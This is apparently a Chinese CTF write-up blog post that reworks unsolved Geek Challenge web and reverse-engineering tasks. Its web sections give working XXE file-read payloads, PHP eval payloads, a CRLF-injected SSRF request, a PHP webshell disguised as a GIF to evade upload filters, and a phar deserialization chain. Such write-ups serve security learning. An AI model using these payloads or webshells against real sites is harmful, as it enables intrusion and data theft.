第十屆極客大挑戰——復現未解決的web和RE

第十屆極客大挑戰——復現未解決的web和RE

emmmm,有些題目是沒做出來的,有機會復現,還有官方wp,所以看看,再記錄一下

web - 性感黃阿姨,在線聊天

這道題我是真的服了,爆破name,,,,,頭皮發麻,,,,說到底,菜
打開題目,隨便輸入,直接抓包,得到提示:要不你直接問問我flag吧
在這裏插入圖片描述
修改request爲flag,然後會得到新提示,說只是guest,修改爲admin再次得到新的提示:
在這裏插入圖片描述
接下來就是爆破name了,,,,,,打死我都沒想到,,,
爆破得到文件名:
在這裏插入圖片描述
然後可以看見Content-Type是application/json,題目還有提示是xxe,
修改爲Content-Type: application/xml,然後進行嘗試,與之前的結果一樣:
在這裏插入圖片描述
不過會發現357在這裏不起作用了,,,,,因爲json是可以傳遞數字和字符串的
區別就是兩側有⽆引號,⽽xml只能傳遞字符串且"357asd"是不等於"357"的
而且是有個回顯點的,就是name,之前測出來了,然後直接構造xxe去讀取文件:
在這裏插入圖片描述
成功了,直接讀取php文件可能會出現錯誤,因爲php⽂件中有一些特殊字符讓xml解析時出錯
所以可以利⽤php流讀取文件:
在這裏插入圖片描述
最後進行base64解密成功拿到flag:
在這裏插入圖片描述

web - Eval evil code

emmm,這道題沒怎麼做,啊哈哈哈哈,爆破MD5之後隨便玩了一下就沒玩了:
在這裏插入圖片描述
首先要爆破驗證碼,編寫腳本:

import requests
import base64
import sys
import hashlib

def getMd5(index):
	for i in range(10000,100000000):
		x = i
		md5 = hashlib.md5(str(x).encode("utf8")).hexdigest()
		if md5[0:4] == index:
			return x;
print(getMd5("7dac"))

得到驗證碼:
在這裏插入圖片描述
然後我輸入phpinfo()得到的卻是這個:給你偷偷看我的代碼,eval(); 但是我不接受有參數的代碼哦,例如這種:a(‘123’);
之後我就沒有做了,,,,phpinfo()有參數嗎?服了,,,,後面才知道加上分號,,,,我怎麼這麼菜???
構造可以去讀目錄的payload:payload=var_dump(scandir(getcwd()));
在這裏插入圖片描述
然後利用next()和array_reverse()加readfile()三個函數進行讀取,最後得到flag
payload:payload=readfile(next(array_reverse(scandir(getcwd()))));
在這裏插入圖片描述
除此之外竟然還有一種操作,,,,
在httpheader頭中注入惡意參數,再利用getallheaders函數獲得參數,又學到一招:
在這裏插入圖片描述

web - 服務端檢測系統

打開題目的可以看見頁面,只能傳入以http://開頭的參數,f12查看源代碼可以看見源碼:
在這裏插入圖片描述
直接訪問admin.php無法訪問,,,,,
直接抓包進行訪問查看,,,,,到後面就不知道該怎麼操作了,,,看了wp才知道
echo sprintf("body length of $method%d", $body);處存在參數可控!!
比如說直接傳入%s%就會把%d給轉義掉,然後就會輸出URL中文件的內容,,,,
直接上效果圖吧,在Render中查看比較明顯:
在這裏插入圖片描述
發現需要我們POST傳遞一個值爲yes的iwantflag參數,纔會顯示flag,,,,
emmmm,該如何操作呢????原來要利用CRLF注入漏洞,,,,
說實話我第一次聽說CRLF注入漏洞,,,這裏就簡單介紹一下:

所謂crlf就是:“carriage return/line feed”,就是回車和換行的意思 在HTTP協議中,HTTP Header 與 HTTP Body 是用兩個CRLF分隔的 瀏覽器就是根據這兩個CRLF來取出HTTP 內容並顯示出來 一旦我們能夠控制HTTP消息頭中的字符,注入一些惡意的換行 這樣我們就能注入一些會話 Cookie 或者 HTML 代碼,

在這裏用到file_get_context_create()函數來發起HTTP請求
一些配置選項包括這裏的請求方式是作爲一個數組經過stream_context_create()處理後傳入的
而使用stream_context_create()是可以模擬POST/GET請求的方法的
那麼這裏就存在CRLF注入漏洞,即我們可以完全自己模擬一個完整的POST包發出去:

url=http%3A%2F%2F127.0.0.1/amdin.php&method=POST /admin.php HTTP/1.1
Host: x
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

iwantflag=yes%26b=%s%

當我們提交該數據之後,file_get_context_create()最終發出的HTTP請求是:

POST /admin.php HTTP/1.1
Host: x
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

iwantflag=yes%26b=%s%
Host: 39.107.111.145:6666

注意的是,iwantflag=yes%26b=%s%中的%26&符號URL編碼之後的樣子
不進行URL編碼的話,就會被當做當前請求包的參數分割符,達不到預期的效果
還有關於這裏多傳遞一個參數的問題,因爲最終的請求包後面是會被拼接上原本正常的HTTP請求包中的內容的
所以是爲了防止干擾iwantflag變量,
由於我們是要得到返回的數據的,所以最後依然是%s%
這樣之後我們就能夠的到flag了,,,,,
在這裏插入圖片描述
復現完這道題目,還是有一點迷迷糊糊的,,,,,

web - 你有特洛伊麼

emmmm,這道題我看題目說不簡單就沒看了,,主要那幾天也有事,,,
掃了一眼wp,感覺不難,打開頁面可以看見是一個上傳的題目,,,,:
在這裏插入圖片描述
先直接構造一個圖片馬:

GIF89
<?php @eval($_POST['cmd']);?>

先改後綴名爲gif,然後進行抓包進行嘗試修改爲php,發現不行:
在這裏插入圖片描述
進行其他嘗試,,,,php2, php3, php4, php5, phps, pht, phtm, phtml這些別名都可以嘗試
嘗試到phps發現可以!!不過出現新的提示,不能存在<?:
在這裏插入圖片描述
修改內容爲:

GIF89a
<script language="php">@eval($_POST['cmd'])</script>

然而,進行訪問的時候發現是forbidden,,,,:
在這裏插入圖片描述
可能是別名存在問題,,,最後發現phtml也行,改爲phtml後綴:
在這裏插入圖片描述
蟻劍進行連接,找到flag:
在這裏插入圖片描述

web - 你讀懂瀟文清的網站了嗎

這道題也沒怎麼看,,好像是xxe加phar,題目已經有提示了,xxe:
在這裏插入圖片描述
嘗試利用xxe讀取文件的源碼,成功獲取到index.php源碼:
在這裏插入圖片描述
index.php內容

<?php
error_reporting(0);
include("./config.php");
date_default_timezone_set("PRC");

if(!empty($_POST['submit'])){
$data= $_POST['data'];
if (preg_match("/flag|decode|file|zlib|input|data|http|ftp|#/i",$data)){
	echo "no!!!you cant read flag right here!";
	exit();
}

$xml = simplexml_load_string($data,'SimpleXMLElement',LIBXML_NOENT);

print($xml);
}

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <title>Login</title>
    <link href="./style_log.css" rel="stylesheet" type="text/css">
    <link rel="stylesheet" type="text/css" href="./style.css">
    <link rel="stylesheet" type="text/css" href="./userpanel.css">

</head>

<body class="login" mycollectionplug="bind">
<div class="login_m">
    <div class="login_logo"><img src="http://120.79.186.183/jpg/677406.jpg" width="216" height="130"></div>
    <div class="login_boder">
            <div class="login_padding" id="login_model">
                    <div style="text-align:center; vertical-align:middel;">
                    	<h3>告訴我你想說的</h3>
                    </div>
<form action="./index.php" method="post" enctype="multipart/form-data" type="code" name="code" id="code" class="txt_input" onfocus="if (value =='******'){value =''}" onblur="if (value ==''){value='******'}">
<div style="text-align:center; vertical-align:middel;">
<textarea type="text" id='divcss5' name="data">

發現還有config.php,直接讀取:

<?php
class File{
	public  $filetype;
	public  $filename;
    public function __wakeup(){
        echo "wake up ";
        var_dump(readfile("php://filter/read=convert.base64-encode/resource=flag.php"));
    }

    public function check($filetype,$filename){
    	$filename = $filename;
    	$filetype = $filetype;

    	if (($filetype!="image/jpg")&&(substr($filename, strrpos($filename, '.')+1))!= 'jpg') {
            echo "只允許上傳jpg格式文件";
            exit();
        }

    }

    public function upload($filetemp){
    	    $target_file = getcwd()."/uploads/".md5($filetemp+$_SERVER['HTTP_REFERER']).".jpg";
	    $handle = fopen($filetemp, "r");
    $content = '';
    while(!feof($handle)){
        $content .= fread($handle, 8080);
    }
if (preg_match("/xml|#|SYSTEM|DOCTYPE|fliter|uploads|www/i",$content)){
	echo "Invalid file!!!!";
exit();
}
    fclose($handle);

            if (move_uploaded_file($filetemp, $target_file)) {
                echo "your file is here:".$target_file;
                }
            }

}

看見__wakeup中有讀取flag的函數,不過還沒看見調用該類的地方,,
看見下面有個uploads,懷疑有個上傳的頁面,嘗試看一下upload.php,果然有,讀取內容:

<!DOCTYPE html>
<html>
<head>
    <title>Ayrain</title>
</head>
<body>
<h3>上傳一個文件,讓我康康你這是什麼亂七八糟的東西。</h3>
<form action="./upload.php" method="post" enctype="multipart/form-data" type="code" name="code" id="code" class="txt_input" onfocus="if (value =='******'){value =''}" onblur="if (value ==''){value='******'}">
    <input type="file" name="file" />
    <input type="submit" name="Check" />
</form>

</body>
</html>
<?php
error_reporting(0);
include("config.php");

        $filename = $_FILES["file"]["name"];
        $filetype = $_FILES["file"]["type"];
        $filetemp = $_FILES["file"]["tmp_name"];

        $file = new File();
        $file->check($filetype,$filename);
        $file->upload($filetemp);
?>

利用上傳點,上傳可以觸發__wakeup的phar文件,結合之前的xxe,讀取phar文件進行觸發
生成phar文件:

<?php
class File{
	public function __wakeup(){
		echo "wake up ";
	}
}
	$phar = new Phar("phar.phar");
	$phar->startBuffering();
	$phar->setStub("<?php __HALT_COMPILER(); ?>");
	$o = new File();
	$phar->setMetadata($o);
	$phar->addFromString("test.txt", "test");
	$phar->stopBuffering();
?>

然後改後綴爲jpg,上傳成功之後會返回一個路徑
然後再通過xxe去進行觸發:

<?xml version = "1.0"?>
<!DOCTYPE note [<!ENTITY f SYSTEM "phar://./uploads/cfcd208495d565ef66e7dff9f98764da.jpg"> ]>
<name>&f;</name>

成功獲取到flag:
在這裏插入圖片描述
在這裏插入圖片描述

RE - 閱兵你認真看了嘛?

emmmm,說實話這道題目我也剛過,但是本人太菜了,沒看出來,,,,
首先我們可以看見:
在這裏插入圖片描述
有兩次驗證!!運行程序也可以看見,第一層是五個問題,回答正確可以進入到下一步
可以把MD5那一串字符解密就能得到正確答案:
在這裏插入圖片描述
過了第一個check,然後會進入到一個函數sub_DEB(),會讓我們輸入54位1-9之間的字符串,
並且還有校驗每個字符是否在1-9之間,之後會把我們輸入的數填到unk_2020C4中值爲0的位置上
然後通過函數sub_BC7()檢查一下dword_2020A0內容,,,,,
在這裏插入圖片描述
進入輸出flag的函數查看了一下,逆不出來,,,,
當時做的時候一直在輸出flag函數裏面看,,,一直逆出不來,,,(直接放棄)思路不正確就是這樣,,,
進入sub_BC7查看:
在這裏插入圖片描述
發現有三個函數,a1就是dword_2020A0,查看了一下dword_2020A0的值,發現有81個值,,,
剛剛好有54個0,,,,到這裏就應該能猜出來這是個數獨了,,,,繼續往下走,,,
dword_2020A0的值:

120543000
030098000
000060005
300004000
007050800
000600009
500070000
000420010
000981023

查看一下三個函數,得以發現sub_97A是檢查每個九宮格的,sub_A60檢查列,sub_B15檢查橫
合格之後纔會返回true,所以我們就只需要解出這個數獨,然後輸入就能得到flag
隨便找個在線工具解一下:
在這裏插入圖片描述
得到字符串:

679845716297812345981276642931281374512369848935677645

正確回答兩次問題,得到flag:
在這裏插入圖片描述
做的時候還是沒有耐心,而且不會變通,一條路走到黑,,,,,

RE - python1

下載是一個pyc文件,反編譯之後的到源碼:

import struct
import time

def b(a):
    return a & 0xFFFFFFFFFFFFFFFFL


def c(str):
    return struct.unpack('<Q', str)[0]


def d(a):
    for i in range(64):
        a = a * 2
        if a > 0xFFFFFFFFFFFFFFFFL:
            a = b(a)
            a = b(a ^ 0xB0004B7679FA26B3L)
            continue
    return a

if __name__ == '__main__':
    cmp_data = [
        0x6E8DD76D3B876F95L,
        0xE206DA09DAF4BED6L,
        0x77559D346E134BF1L,
        0x61CE39CAC5EAF891L,
        0x656C3C155520E36FL]
    input = raw_input('plz input your flag:')
    if len(input) % 8 != 0:
        for i in range(8 - len(input) % 8):
            input += '\x00'
        
    arr = []
    for i in range(len(input) / 8):
        value = d(c(input[i * 8:i * 8 + 8]))
        arr.append(value)
    
    for i in range(5):
        if arr[i] != cmp_data[i]:
            print 'fail'
            time.sleep(5)
            exit()
            continue
    print 'success'
    time.sleep(5)
    exit()

邏輯很好理解,而且還給出了比較的字符串,那我們可以逆推,,
關鍵在於對d函數的逆向,會有64次乘⼆,每次乘2後還會進⾏判斷
如果⼤於0xffffffffffffffff,會&0xffffffffffffffff再^ 0xB0004B7679FA26B3,,,,
⼊⼿點是奇偶,能看出來的話這道題就簡單了
每次乘⼆後這⼀次循環得到的是偶數,每次&0xffffffffffffffff再^ 0xB0004B7679FA26B3得到的都是奇數
那麼進⾏64次循環除以⼆時候,先進⾏判斷,如果是偶數就直接除以⼆,
如果是奇數就先^ 0xB0004B7679FA26B3,再+0xffffffffffffffff+1,再除以⼆
python2的解題腳本:

# -*- coding:utf-8 -*-
import struct

cmp_data = [7966260180038414229L, 16286944838295011030L,8598951912044448753L, 7047634009948092561L, 7308282357635670895L]

def Dec(f):
	for i in range(0,64):
		if(f % 2 == 0):
			f /= 2
		else:
			f ^= 0xB0004B7679FA26B3
			f = f + 0xffffffffffffffff + 1
			f /= 2
	return f

flag = ""
for i in range(0,5):
	flag += struct.pack(">Q",Dec(cmp_data[i]))[::-1]
	
print flag

得到flag:
在這裏插入圖片描述

發佈了202 篇原創文章 · 獲贊 120 · 訪問量 9萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章